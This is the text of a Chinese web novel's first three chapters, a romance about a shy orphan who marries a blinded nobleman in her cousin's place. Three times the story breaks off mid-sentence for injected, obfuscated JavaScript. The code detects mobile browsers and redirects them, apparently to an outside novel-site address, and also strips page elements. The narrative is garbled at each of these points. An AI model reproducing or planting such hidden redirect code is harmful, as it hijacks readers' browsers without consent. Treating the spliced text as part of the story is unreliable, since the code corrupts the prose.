《替嫁给残疾贵公子后》 1. 赐婚 “奉天承运皇帝，诏曰：尚书府小姐秀外慧中……” “兹指婚与太常寺少卿晏枕溪，责有司择吉日完婚，钦此。” “臣接旨。”纪通海上去毕恭毕敬地接下。 “尚书大人，真是恭喜啊。”前来送旨的太监笑眯眯地说道。 纪通海脸上的笑容有些僵住，下一秒又恢复自然，没有接话。 太监没有再说什么，带人转身离开了尚书府。 人走后，纪府的人脸上都有些凝重。 这个赐婚圣旨若是在一周前，纪家上下定然欣喜欢庆。 晏枕溪，晏家的嫡长子。 晏家，是历朝历代以来赫赫有名的世家大族，许多朝中大臣甚至重臣都是由晏家提拔。 晏枕溪作为晏家的嫡子，也没有辜负晏家的门楣，自年幼时起就名声在外，初次参加科举考试便是状元，惊才绝艳，更是年纪轻轻就当上了正四品的太常寺少卿。 为人也一向正直谦虚，光风霁月，温润如玉，简直是京城高官贵族眼里再好不过的女婿人选。 抛开家世和才华不说，光凭他那一身好看的皮囊，都会成为京城无数女子的梦中情人。 纪家虽然也是书香门第，可与晏家相比，简直是云泥之别。 然而，就在一周前，圣上举办宴会时，有刺客出现，晏枕溪为保护圣上，不幸伤到头部，当场晕了过去。 虽没有性命之忧，但双目失明，一波一波的太医前去，都摇头说没有了痊愈的可能。 昔日前途无量的贵公子，如今的情形让人唏嘘不已。 朝中有规定，像双目失明这种程度的残疾，不可以担任要职。 圣上怜惜，保留了晏枕溪太常寺少卿的职位，还给了许多赏赐，听上去是圣上的救命恩人，但明眼人都知道，晏枕溪的仕途怕是止步于此了。 况且晏府的情况也较为复杂，晏枕溪的亲生母亲在他年幼时去世，如今晏府后宅做主的是他的继母，而晏枕溪的弟弟，便是他继母所出。 虽然表面继母和晏枕溪和睦相处，但之前发生的事还有内里的暗流涌动大家都心知肚明，若是之前还没什么，但现在晏枕溪双目失明，委实不是一个好的归宿。 而纪通海的独女纪婉清，是京城中有名的才女，最主要的是，纪通海只有这一个女儿，实在是不愿让她嫁过去。 正当纪通海叹气，大家都愁容满面的时候，一道有些轻细的声音响起：“我可以嫁过去。” 纪通海有些惊讶地望过去，是府中向来没什么存在感的姜知瑶，她此时正站在纪府来接旨人群的最后方。 “圣旨上只说了是尚书府的小姐，没说一定要纪姐姐。” 见纪通海没有说话，姜知瑶又小声加了一句，但大家都听的很清楚。 纪婉清神情有些急切，刚想开口，就被她身旁的秦高霏打断了。 “是啊。”秦高霏恍然大悟，“没说一定要婉清嫁啊。” 表小姐也是小姐嘛，又没说具体姓名，也没指明要嫡亲的小姐。 秦高霏是姜知瑶的舅母，纪婉清的母亲。 “都先回去，此事稍后再议。”纪通海厉声说了一句。 然后看向这个向来乖巧懂事的外甥女，声音放缓了一些：“你跟我来书房。” 姜知瑶跟了过去，在路过纪婉清的时候，纪婉清扯了扯姜知瑶的衣袖。 看着纪姐姐有些担忧的神情，姜知瑶温软地笑了下，轻轻捏了捏纪婉清的手指，让她放心。 书房里。 “瑶瑶，你不必委屈自己。”纪通海看着乖巧的姜知瑶说道。 姜知瑶认真地摇了摇头：“舅舅，我没觉得委屈。” 纪通海沉默了一会，没有说话。 过了好半响，才缓缓开口：“那就这样吧，我们会好好补偿你的。” 虽然此举多有冒险，但纪通海只有纪婉清这一个女儿，实在是不忍心把她这样嫁出去。 至于姜知瑶，对于自己这个同父异母的妹妹生下来的女儿，这几年相处下来，纪通海虽然也有些感情，但终究还是抵不过自己的女儿的未来。 “多谢舅舅。”姜知瑶行了一个礼，就转身离开了。 出书房后，便看见了站在门口的纪夫人。 秦高霏面露些许窘迫：“瑶瑶，我刚刚说的话你别往心里去……” “没事的，舅母。”姜知瑶说道。 姜知瑶知道舅母没有对她不好的意思，这些年来舅母对她也很好，只是终归没有那么亲近罢了。 她不强求，也不愿让舅母为难，接着在秦高霏还想说什么前开口：“我想先去休息了。” 秦高霏张了张嘴，还是没说什么：“好，那你好好休息。” “舅母再见。”姜知瑶带着自己的丫鬟南枝离开了。 - 回到自己的院子，不出所料看到了纪婉清站在了门口。 她正站着一旁走来走去，看到姜知瑶来，立马走过来拉住姜知瑶的手：“瑶瑶，你怎么能……” “姐姐，没事的。”姜知瑶安抚道。 进到了姜知瑶的闺房里，屏退了下人后，纪婉清立马说道：“就算你喜欢他，但是他现在已经……” 后面的话没有说出来。 姜知瑶声音不大但很坚定：“我知道。” “不只是为了姐姐，也是为了我自己。” “与其到时候嫁一个不喜欢的人相看两厌，还不如嫁一个我喜欢的人。” “再说，姐姐不是还在等他吗？” 纪婉清看着姜知瑶叹了口气，这个妹妹自己向来清楚，虽然平时好说话，但是一旦是她认定的事，很少有人能劝的回来。 “姐姐，你就放宽心好了。” 纪婉清伸手捏了捏姜知瑶的脸颊肉：“瑶瑶啊，你平时胆小，怎么在这样大的事情上这么有想法。” “姐姐。”姜知瑶被捏住有些口齿不清地喊道。 “要是受到委屈就找姐姐，知道吗？”纪婉清叮嘱道，“到时候给你多带几个护卫去。” “我们纪家的人也不是可以随便让人欺负的。” 姜知瑶乖乖点头。 但是看着姜知瑶乖巧的样子，纪婉清心里还是止不住的担忧。 自己这个妹妹就是太懂事了，太不愿意麻烦别人了。 纪婉清还记得第一次见到姜知瑶的时候，小小的一个人背着一个小小的包裹，藏在一个嬷嬷的身后，有些胆怯地看着他们。 对于自己有了一个妹妹这件事，纪婉清没太大的反应，只知道她是父亲一个庶妹的女儿，是自己的一个表妹，而且这个妹妹很省心，从来没见她来麻烦过谁。 直到几个月后偶然撞见，纪婉清才知道她一直被府上的下人欺负。 后面她狠狠惩戒了那些下人，将他们驱逐出府，然后看着可怜巴巴的小女孩，便一直把姜知瑶带在身边，一带就是几年。 看着这个比自己小一岁的妹妹，纪婉清不放心地又叮嘱道：“被欺负了一定要说。” 姜知瑶小鸡啄米般地点头。 - 做出这个决定，可以算是姜知瑶从小到大以来做过最大胆的事了。 当时在大家面前说出来的时候，姜知瑶的声音有些轻微的颤抖，但好在应该没人听出来。 而做出这个决定，其实不光是因为她喜欢晏枕溪，最重要的是，她知道纪姐姐有喜欢的人了。 他们早已两情相悦，纪姐姐一直在等他回来。 对于纪府这些年来给她的照顾，还有纪姐姐一直来的关照，这些都是姜知瑶默默记在心里的恩情。 就算自己不喜欢晏枕溪，又或者赐婚的对象不是晏枕溪，只要可以，她也会做出这个决定的。 姜知瑶翻了一个身，轻轻吐出一口气，像是终于完成了什么大事。 伴着月光，她浅浅睡去。 另一边的晏府。 “大人，关于赐婚那件事……” “说。”声线如薄冰，似玉碎又似水滴落在玉盘上。 “纪府打算让他们的表小姐替嫁。” “哦？”语气中有些许的惊讶。 “大人，那我们之前的计划……” “做废。” “好的，大人。”说话的人行了个礼后退下了。 纪府家的表小姐吗？ 晏枕溪在脑海里回想着这个人，是那个纪家小姐总会带着的小尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901182|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴吗？ 看上去倒是安分守己。 晏枕溪对她没什么印象，甚至都不记得她长什么模样。 不过不是纪婉清就行了，那个人很喜欢纪婉清。 晏枕溪并不在意和自己成婚的会是谁，反正不管是谁，他都是不喜的，进来也不过是装下样子罢了。 他曾听到过同窗讨论男女之情，但他厌恶旁人触碰他，更是觉得自己这辈子肯定不会喜欢上谁。 他向来不相信这情感之事，也理解不了，但若是因为这个，让那人与自己产生隔阂，不值当。 倒是圣上这个赐婚，是察觉到自己与那人的关系了吗。 - 因为是皇帝赐婚，许多婚礼有关的事宜都是宫中派人安排的。 在量制婚服的时候，姜知瑶第一次和派来的人相见，有些紧张，手心都攥出了些冷汗。 但宫人没有说什么，量好尺寸，问了姜知瑶喜欢什么样的款式就离开了。 后面过了好几天，都无事发生。 纪府的人也彻底放下心来。 看来圣上也默许了姜知瑶嫁过去的事情。 晏府那边，只有晏枕溪的继母带着聘礼来过，简单聊了几句，走了些流程就离开了。 京城里的人也渐渐都知道了要嫁过去的是姜知瑶。 一时议论纷纷，大家都在唏嘘，之前高高在上的贵公子，没想到如今竟然要娶一个毫无背景的女子。 “瑶瑶瑶瑶！”未见其人先闻其声。 姜知瑶刚放下手中的书本，程明珠就走了进来。 她自然地坐在姜知瑶塌上的另一个位置，动作娴熟。 “是你要嫁给晏枕溪？怎么都不告诉我，还是我从其他人那里知道的。”程明珠故作有些生气的样子。 “还没想好要怎么和你说。”姜知瑶回答道。 明珠肯定不认可，姜知瑶本来还想着再瞒一会。 “是不是纪婉清逼你替嫁的？”程明珠语气有些愤愤地问道。 程明珠和纪婉清年纪相近，家世也相仿，因此总是免不了将二人进行对比。 但纪婉清向来有才女的名称，而程明珠则更喜欢舞刀弄剑，父母总是拿纪婉清来劝诫程明珠，因此程明珠不喜纪婉清。 虽然知道纪婉清不会这样做，可程明珠还是想逞一下口舌之快。 “当然不是。”姜知瑶立马摇头，“纪姐姐绝对不可能会这样做。” “纪姐姐，纪姐姐。”程明珠酸溜溜地学着姜知瑶说话，“天天一口一个纪姐姐，我也比你大，怎么不见你喊我声姐姐。” “明珠。”姜知瑶有些无奈地喊了一下。 “那晏枕溪眼睛都已经看不见了，还有他那继母佛口蛇心，你嫁过去不天天都在受罪。” 而且虽然京城里人人都在夸晏枕溪温润如玉，但程明珠就是觉得他不对劲，脸上的笑永远都只有那一个样子。 “我倒是觉得还好，这样肯定比较清闲。”姜知瑶认为没什么。 程明珠点了一下姜知瑶的脑袋，力气不重：“你呀你，我看你肯定是看上晏枕溪了。” “你、你怎么知道的？”姜知瑶的脸颊飞上一点绯红。 很明显吗，连明珠都看出来了。 “你这么怕生的人，别说主动和人说话了，平时都不怎么敢跟人对视，倒是每次宴会见了晏枕溪都目不转睛。” 程明珠语气里颇有些恨铁不成钢的意味：“我之前想着许因为是你喜欢好看的东西的缘故，没想到你是真的喜欢他。” “算了，现在这个说也没什么用了。”程明珠摇了摇头，“要是受欺负了别忍着，大不了我们和离。” 要是纪府不养了，她也可以养姜知瑶一辈子。 姜知瑶应了下来：“好。” “瑶瑶，你要是不想嫁了，什么时候来找我都可以。”程明珠拍了拍胸膛，“我带你私奔。” 姜知瑶有些哭笑不得：“私奔是这样用的吗。” 心里是一阵暖流涌过。 姜知瑶垂眸，心里也多了几分迷茫，马上就要成婚了，嫁给他真的会过的不好吗？ 她从未奢望过晏枕溪会喜欢上她，但相敬如宾，应该不难吧？ 2. 成婚 红烛摇曳，姜知瑶眼前也是一片红，她觉得有些迷迷糊糊。 白天就像是走马灯一样过完了。 没有什么意外，一切都很顺利，除了在拜堂时，她的心一直在怦怦跳以外。 声音真的很大，在弯腰对拜的时候，两个人靠得太近，姜知瑶甚至都疑心晏枕溪会不会听见。 因为晏枕溪眼睛的缘故，闹洞房的环节被取消了，姜知瑶反而更轻松了一点，她实在不喜欢应付人多的场面。 许是等的太久有些恍惚，再加上想的太过入神，姜知瑶没有听到渐近的脚步声，还有南枝的那句：“姑爷好。” 直到红盖头被人用玉如意掀起来，姜知瑶这才回过神来。 她坐在婚床上，有些愣地抬头看向晏枕溪。 眼前人还是一如既往的好看，鼻梁高挺，薄唇红润，身着婚衣，更显得整个人玉貌昳丽。 美中不足的是，他带上了红色的眼纱，姜知瑶没能看见他那双好看的丹凤眼。 姜知瑶气血有些上涌，一时没有反应，白皙的脸颊染上红霞。 晏枕溪或许因为看不见，也站在原地没有了其他表示。 等下人端上来了合卺酒，才打破了这稍显尴尬的场面。 “合卺酒来了。” 晏枕溪微微侧头，他身后的小厮将酒递给了过去。 姜知瑶伸手，将另一杯合卺酒端在手里。 杯中的酒面泛起涟漪，两个人完成了喝交杯酒的环节。 虽然是饮交杯酒这样亲密的动作，但两个人做起来硬是有些僵硬和生疏。 两个人之间的距离像隔了一条银河，整个过程下来互相都没有碰到过对方。 因为考虑到晏枕溪眼盲的缘故，有些环节被省略掉了。 晏府的下人还有姜知瑶带过来的南枝都退下了。 婚房里只剩下姜知瑶和晏枕溪两个人。 姜知瑶低头用手指绞着一点衣角，觉得实在尴尬。 四周寂静，唯有喜烛燃烧时轻微的噼啪声。 姜知瑶正绞尽脑汁想着怎么开口的时候，晏枕溪说话了。 “夜深了。”他的声音还是一如既往的好听，像溪水流经泉石，“你先歇下吧。” “我知这场婚事你不愿，我也不会强人所难，相敬如宾即可。” “若是你日后想离开了，和我说便好，我会放你离开。” “我先去书房了。” 说完晏枕溪便从床榻边站了起来准备离开。 姜知瑶下意识就抓住了他的衣袖。 她想告诉晏枕溪，她没有不愿意。 但话到嘴边滚了几圈，姜知瑶还是没能说出来。 就算说出来又能怎样呢，他刚刚说的不过是客套之词罢了，其实只是他不喜自己而已。 可能在这场婚事之前，他恐怕都不知道京城里还有自己这样一个人吧。 而且关于这场婚事，姜知瑶其实心里对晏枕溪很是愧疚和不安，明明他要娶的是像纪姐姐这样的名门闺秀，但自己因为私心替嫁了过来，也没有问过他的意愿。 感受到了袖口处的动静，晏枕溪侧头看去。 姜知瑶仰头看他，虽然知道他看不见，况且还隔着层眼纱，但姜知瑶就是莫名的觉得他在和自己对视。 她旋即移开目光，松开了扯住的袖口。 “还有什么事吗？”晏枕溪的声音听上去很是有耐心。 “你在这歇下吧，我去偏室就好了。”姜知瑶轻声说道。 晏枕溪温声询问：“是在怜惜我的眼睛不便吗，不必如此。” 明明是有些自嘲的语句，但从晏枕溪嘴里说出来，丝毫不会让人觉得有这样的意思。 “没有。”姜知瑶摇了摇头，“我只是不想太麻烦你，书房肯定不大方便歇息。” 哪有她一来就占据别人房间，还只能让他去睡书房的道理。 晏枕溪脸上浮现了些许笑意。 “我不在书房歇息。”晏枕溪和姜知瑶解释道，“我只是想先去处理些事情，我会睡在其他的房间。” “啊，噢噢。”姜知瑶的脸有些红了起来。 她还以为是晏枕溪要歇息在书房里。 晏枕溪笑了笑：“那我就先走了。” “好。”姜知瑶应了一声。 “我送你到门口吧。”想着晏枕溪现在不方便，姜知瑶如是说道。 “那就多谢了。” 姜知瑶扶着晏枕溪，小心翼翼地将他送到了房门口。 门口有晏枕溪的小厮，后面有他送晏枕溪去往书房。 房间门关上后。 晏枕溪之前脸上一贯的笑容就消失了。 他这个替尚书府嫁过来的小夫人看起来真是胆怯啊。 如此甚好。 不过她那双眼睛还挺好看的，隔着眼纱都可以清楚地看见她那双水润润的杏眼。 晏枕溪心不在焉地想到。 - 第二天一早，姜知瑶便起来了。 在她刚洗漱好的时候，就有下人来敲门：“少夫人，该去敬茶了，大公子在前院等您。” 南枝帮姜知瑶应了一声，然后继续帮她挽着发髻。 “好了，南枝。”姜知瑶无奈地喊了一声。 她头上的发饰有些太多了。 南枝放下了手里的簪子，有些俏皮地说了声：“都怪小姐长得太好看了。” “哪有。”姜知瑶是真的觉得自己只是一般的长相，虽然南枝总是夸她，但她一直认为这是南枝对她的喜爱而已。 成婚后，姜知瑶多了不少好看的首饰，南枝就忍不住想往小姐头上多簪一些。 镜中的人有一双好看的杏眼，小巧挺翘的鼻子，和红润的嘴唇，脸颊还留有点婴儿肥，看上去十分娇俏，但因为姜知瑶身上温软的气质，总是会让人不自觉忽略掉她好看精致的五官。 现在头上的发饰有些华丽，正常人恐怕会被这样的发饰压下去，还会显得有些累赘，喧宾夺主，姜知瑶却丝毫不会，反而显得整个人更加好看有气色。 但南枝还是拿掉了几个发饰，她知道小姐向来不愿在外太过招摇。 怕晏枕溪久等，简单收拾一下后，姜知瑶就带着南枝出门了。 院中，身着月白色衣裳的男子静立在青竹旁，他今天换了一个素白的眼纱。 “你来了，我们现在走吧。”听到脚步声后，晏枕溪侧身说道。 约莫走了一刻钟的时间，他们到了地方。 姜知瑶跟在晏枕溪身旁走了进去。 和她以为的会寒暄几下的场景完全不一样，晏枕溪和父母的关系好像十分生疏，敬茶就只是他们要完成的一个仪式。 敬完茶后他们就离开了。 回到自己的院子后，晏枕溪对姜知瑶说道：“我和父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901183|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲的关系平平，你日后可以不必经常去到他们那里请安。” “好。”姜知瑶觉得这样挺好的，她素来不喜欢跟不熟的人打交道，尤其是一般还要说一些场面话。 “你平时要是在府里无聊了，可以多出去走动，我不会约束你。” 原本晏枕溪要离开了，但看着很是乖巧的姜知瑶，他又神差鬼使地加了一句话。 “好。”姜知瑶点点头。 回到书房后。 晏枕溪对手下吩咐道：“把她身边的那几个暗卫撤了，平时留一个看着就好，有什么异常再和我汇报。” “好的，大人。” - 敬完茶后，姜知瑶就一直没有再看见晏枕溪了。 姜知瑶有些苦恼，因为明天就是要回门的日子了。 但看晏枕溪现在还没有什么表示，姜知瑶不免有些担心他忘记了或是不打算去了。 虽然自己觉得这样一个人清闲的日子还挺好的，但她不想让纪府的人担心。 纠结了许久，姜知瑶还是决定去找一下晏枕溪。 问过下人后，姜知瑶知道了他现在在书房里。 在门口犹豫了一会后，姜知瑶抬手轻轻敲了敲门：“公子。” “进来。” 姜知瑶推门走了进去。 “有什么事吗？”声音听上去很是温柔。 晏枕溪正一个人坐在窗边的塌上下棋，姜知瑶目光被吸引过去了，那黑白棋看上去大小都一样，他是怎么分清的。 “白棋上有一个凸点。”像是知道她心里在想什么，晏枕溪突然说道。 “噢噢。”姜知瑶有些好奇，他是怎么知道自己在想什么的。 收回思绪，踌躇了一会后，姜知瑶轻声问出了口：“你明天……可以和我一起回门吗？” “当然。”晏枕溪回复道。 “那可以，和我装亲密一点吗？”因为有些不好意思，姜知瑶说出来的话语有些含糊。 纪姐姐在知道姜知瑶打算替嫁后，就一直很愧疚。 姜知瑶想着这样或许会让纪姐姐放心一点，虽然难以启齿，但她还是硬着头皮说了出来。 “嗯？”晏枕溪许是没听清。 姜知瑶只得又说了一遍。 说完两遍下来后，姜知瑶的脸都红透了。 “可以，你想要怎么亲密呢？”语气再正常不过，好像就是在认真商讨，但姜知瑶好像听见了一声轻笑。 肯定是她听错了。 “就是，假装我们比较……恩爱一点。”脸上的红蔓延到了脖颈处。 “好。” 姜知瑶松了一口气：“多谢公子了。” “无妨。” 姜知瑶回到了房间里。 躺在床上，姜知瑶回想着，她刚刚说的话，应该没有什么不妥之处吧？ 自己的请求应该也不会太为难他吧？ 想着明天还要回门，姜知瑶努力不再让自己多想什么，酝酿起了睡意。 书房里。 晏枕溪笑出了声。 怎么会有如此胆怯之人，还这么容易脸红。 明明在名义上已经是他的夫人了，但在他面前说话还是这么小心翼翼。 换了旁人，怕是早因为他眼盲的事情对他不满而蹬鼻子上脸了。 晏枕溪突然起了些兴致，她明天，会怎么跟他装恩爱呢。 3. 回门 次日。 姜知瑶来到府门口，马车已经在候着了。 她掀开帘子进去，晏枕溪正坐在里面。 “夫君早上好。”姜知瑶听上去自然地喊了一声。 “夫人好。”晏枕溪回了一声。 晏枕溪对她称呼的改变并没有什么感觉，只是一个称谓而已，晏枕溪并不在意，也学着她换了个称呼。 姜知瑶轻吐出一口气，叫一声也不是很难嘛。 昨天晚上姜知瑶想了很久，觉得喊公子还是不太妥当，平时还是喊夫君比较好，毕竟两个人在明面上已经成婚了。 看晏枕溪，应该也不反感这样喊。 心里泛起些隐秘的欢喜。 互相问好后，车厢又归于安静。 马车缓缓驶向纪府。 姜知瑶坐在里面，掀开一些帘子，看望马车外热闹的场景。 就这样静静看了一路。 姜知瑶有些愉悦，之前自己坐马车的时候她就想这样做了，但以往每次出门要做马车的时候，都是和其他人一起同坐。 有旁人在的时候，一直看向外面会失了礼数，但如今晏枕溪看不见，倒是给了姜知瑶方便。 她看到了熟悉的街巷和摊位，纪府要到了。 姜知瑶远远的就看到了纪府门口的一群人，心里开始雀跃起来。 虽然她其实对于纪府也没有太多的归属感，但纪姐姐在，而且对于回到熟悉的地方，多少还是有些安心的。 马车停了下来。 等晏枕溪下了马车后，姜知瑶也掀开车帘，准备下去。 入目的是一双骨节分明，修长宽大，白皙如玉一般的手。 姜知瑶有些愣住，她以为还会是南枝扶她。 察觉到了姜知瑶的迟疑，晏枕溪温和地喊了声：“夫人。” 姜知瑶伸出了手，晏枕溪的掌稳稳扶住，不过是短短一瞬，落地后两人的手便分开了。 但足以让姜知瑶心悸不已。 他的手有些凉，不光看起来像玉，触碰起来也像。 看到了晏枕溪扶姜知瑶下马车的场景，纪府众人脸上的笑意真切了几分。 “舅舅好。”晏枕溪面朝纪府众人，先向纪通海问了一声好。 若不是面上有眼纱，看晏枕溪的仪态，完全不像是一个眼盲的人。 “枕溪好啊。”纪通海回了一声。 看着面前身姿如松的晏枕溪，眼里有些惋惜，可惜了，以前那样前途大好的青年。 “先进去吧。”纪通海说着，大家一起进到了府里。 纪通海在前面和晏枕溪聊着，姜知瑶在人群后面，纪婉清走过来拉着姜知瑶的手聊着。 在得知姜知瑶一切都好，没有受到委屈的时候，纪婉清心放下来一点。 大家在一起聊了一会后，就到用膳的时间了。 姜知瑶和晏枕溪坐在一起，姜知瑶的另一边是纪婉清。 “枕溪啊，我们知瑶没有给你什么惹麻烦吧？”纪通海客套地问了句。 “没有，夫人很好。”晏枕溪的脸上挂着浅笑。 “哈哈，我们知瑶向来让人省心。” 见晏枕溪碗里的菜吃完后，姜知瑶侧过去轻声和晏枕溪说：“夫君，我帮你夹些菜吧。” 晏枕溪身后有帮他夹菜的小厮，但现在在纪府，姜知瑶想着或许自己帮忙夹会更好一些。 “有劳夫人了。” 姜知瑶换了双筷子，中规中矩地夹了些没有骨头方便食用的菜。 纪通海看着这一幕，眼中笑意多了几分，想来自己这个外甥女应该也没有不喜晏枕溪。 看起来倒也像是一对恩爱的小夫妻，而且晏枕溪的性子一向被人称赞，想来姜知瑶嫁过去也没有那么过的不好。 他心里原本的一点愧疚也彻底消散。 用过膳后，再待了一会，就到要离开的时候了。 姜知瑶心中隐隐不舍，她还想和纪姐姐再多待一会。 但已经该回去了，纪府的人给姜知瑶和晏枕溪送别。 晏枕溪扶姜知瑶上马车后，自己也由小厮扶上了马车。 回门结束了。 马车内，姜知瑶对着晏枕溪道了个谢：“今天多谢夫君了。” 她是真心感谢晏枕溪，之前从晏府的下人口中得知，晏枕溪自从眼盲后，就很少出门。 因为晏枕溪出门不方便，平日在府中也需要小厮在前引路。 原本姜知瑶前去询问的时候，她还以为晏枕溪不会答应。 今天回门晏枕溪也配合得很好。 “不必多谢。” 晏枕溪笑了笑，还以为今天她会大胆一些，毕竟要和他假装恩爱。 但没想到最多就是帮他夹下菜。 还真是符合她的性子啊。 - 回晏府后，一连几周，姜知瑶就待在自己的院子里，偶尔出去找纪婉清还有程明珠玩。 没有见到过晏枕溪和晏府的其他人。 姜知瑶感觉自己好像只是换了一个地方住而已，和以前没有什么不同。 反而比以前更悠闲了。 只是府中下人对姜知瑶多有怠慢。 对此姜知瑶觉得没什么，只是现在入冬，今天管事分过来的炭还有衣物未免太过简陋了。 这个也好解决，姜知瑶带过来的嫁妆可以支撑很久。 可她突然想到了晏枕溪。 看府中下人的态度，不只是对她，对晏枕溪肯定也很怠慢。 姜知瑶早就习惯了自己一个人，而且还有南枝在她身边，没有其他下人反倒让她觉得清闲。 但是晏枕溪在眼睛没有受伤前，向来是锦衣玉食的贵公子，尤其是现在行动起来还不方便。 她有点担心晏枕溪。 思索片刻，姜知瑶还是决定去看看晏枕溪。 她来到晏枕溪的房间门口：“夫君？” “进来吧。”晏枕溪有些好奇，她今天怎么来找他了。 姜知瑶就像只小兔子一样，平时安居在自己的洞里，几乎不会主动出来。 她被府中下人怠慢的事，晏枕溪早已经知道了，晏府中的下人倒是和主子如出一辙，向来喜欢踩高捧低。 所以这次是她终于受不了，来找他诉苦了吗？ 姜知瑶一进到屋子里，就发现这里似乎比外面还要冷些。 房间里只有晏枕溪一个人。 她看了看晏枕溪身上略显单薄的衣服，觉得有些心疼。 姜知瑶开口说道：“府里的管事刚刚过来了，分了些炭，我等会让人送过来。” “嗯？”管事不是只分了一点最劣等的炭吗，她自己应该都不够用吧。 晏枕溪的语气有些轻，姜知瑶误因为是他已经知道了：“那我先走了。” 快点回去让人去外面多买些炭。 - 晏枕溪看着送过来的银炭，轻笑了一声：“你说这是她拿嫁妆买的？” “是的，大人。” 晏枕溪低低笑了起来，还是只容易心软的小兔子。 和他这种自私自利的人完全不同啊。 “大人，要放起来吗？”侍卫问道。 大人冬日里素来不喜用炭，这会想必也不会用。 “不必，烧起来吧。” 第二天，姜知瑶又来找晏枕溪了。 一进门，便是一股暖气，看着晏枕溪昨天雪白的手指尖多了几分红润，姜知瑶心里有种微妙的满足。 还好自己的嫁妆够用。 晏枕溪正坐着喝茶，姜知瑶看了看他身旁的书架：“夫君，要帮忙念书吗？” “那有劳夫人了。”晏枕溪轻挑了下眉。 在询问过后，姜知瑶翻开了一本书，声音温和地念了起来。 冬日的阳光透过窗照进来，室内唯有姜知瑶念书时清润的嗓音。 不知不觉，半个时辰过去了。 姜知瑶喝了口茶润了润嗓子。 “夫人的声音很好听。”晏枕溪夸赞道。 咬字断句都很恰当，再加上温软的嗓音，让人不觉沉浸其中。 姜知瑶被夸，有些不好意思地笑了笑：“我之前经常给纪姐姐念书。” 纪姐姐也夸她念书的声音好听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901184|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。 “那日后夫君若是想听了，叫我来便好了。”和晏枕溪相处，让姜知瑶很舒服。 就像山间的溪水，涓涓细流。 姜知瑶心底也有些隐秘的欢喜，她是真的很喜欢晏枕溪。 哪怕只能和晏枕溪多相处片刻，也是好的。 “夫人要是遇到难处了，也可以随时来寻我。” 这么一只小兔子掉进晏府这个狼窝里，看着昨日炭的份上，偶尔庇佑一下她也不是不可以。 “好。”姜知瑶应了一下。 晏枕溪等了许久，也没等到姜知瑶再说什么。 正当姜知瑶准备离开的时候，晏枕溪忍不住问道：“你在府中近来过的可好？” “很好啊。”姜知瑶想了想，她还挺喜欢这种生活的。 晏枕溪有些不解，被克扣饭食，被下人怠慢，这也算很好吗？ 难道是尚书府待她比这还要恶劣？ 晏枕溪想着纪通海素日里正直的模样，心有不屑，看来也只是装装表面功夫罢了。 不过既然姜知瑶不和他说，晏枕溪自然也不会去多管闲事，他没有再问下去。 姜知瑶回到了自己的房间里。 “哇，今天有糖醋排骨诶。”姜知瑶看着桌上的菜有些开心地说道。 虽然晏府克扣了饭食，但好在姜知瑶在的院子里有一个小厨房，平时南枝会在里面做菜。 出嫁的时候纪婉清给了姜知瑶好几家铺子，收益都还不错，姜知瑶对此很是满足，平日也会让南枝去拿钱去买些好吃的。 “南枝，你的手艺真的好好啊。” 姜知瑶很喜欢南枝做的菜。 南枝看着姜知瑶高兴的样子也笑了笑：“小姐喜欢就好。” 不过她还是不够努力，南枝最大的一个心愿就是将小姐养的白白胖胖的。 在南枝的老家，白白胖胖的人被认为是有福之人。 在南枝心里，小姐就是最该享福的人。 所以她还要再多精进一下厨艺。 南枝在十岁的时候被父母买给了人牙子。 若不是有小姐将她买下来，南枝都不知道自己现在会在哪里，还有没有活着。 姜知瑶是在市场上看到南枝的。 那个时候姜知瑶刚刚到纪府，因为没有人重视，所以总是被下人们欺负。 至于原本带姜知瑶来纪府的嬷嬷，将姜知瑶送到后就离开京城回去了，所以姜知瑶在纪府没有熟悉的人，也没有人庇护。 管家将月例交给了院子里的一个嬷嬷保管，但那个嬷嬷从来都没有给姜知瑶用过银两。 但厨房的杨嬷嬷对她很好，总是会给她好吃的麦芽糖，所以姜知瑶喜欢跟着杨嬷嬷一起去市场买菜。 小小的她总是屁颠屁颠地提着一个比她半个身子大的菜篮跟在杨嬷嬷后面。 在一次买菜的路上，姜知瑶看到了被人牙子毒打的南枝。 “真是没用，怎么没人买你。” 南枝瘦小的身体挤在角落里，姜知瑶看到后就想冲过去帮她。 但被杨嬷嬷拦住了。 杨嬷嬷叹了口气：“也是可怜人。” 然后她告诉姜知瑶，如果要救她，只能拿银子买。 看上面的牌子，需要三两银子。 那天后，姜知瑶一直很殷勤地帮杨嬷嬷做事，干一次活可以有十文铜钱。 姜知瑶每次路过的时候，都在看南枝有没有被人买走。 终于，两个月后，再加上自己卖掉的一个小镯子，姜知瑶攒够了三两银子。 她向人牙子买下了南枝。 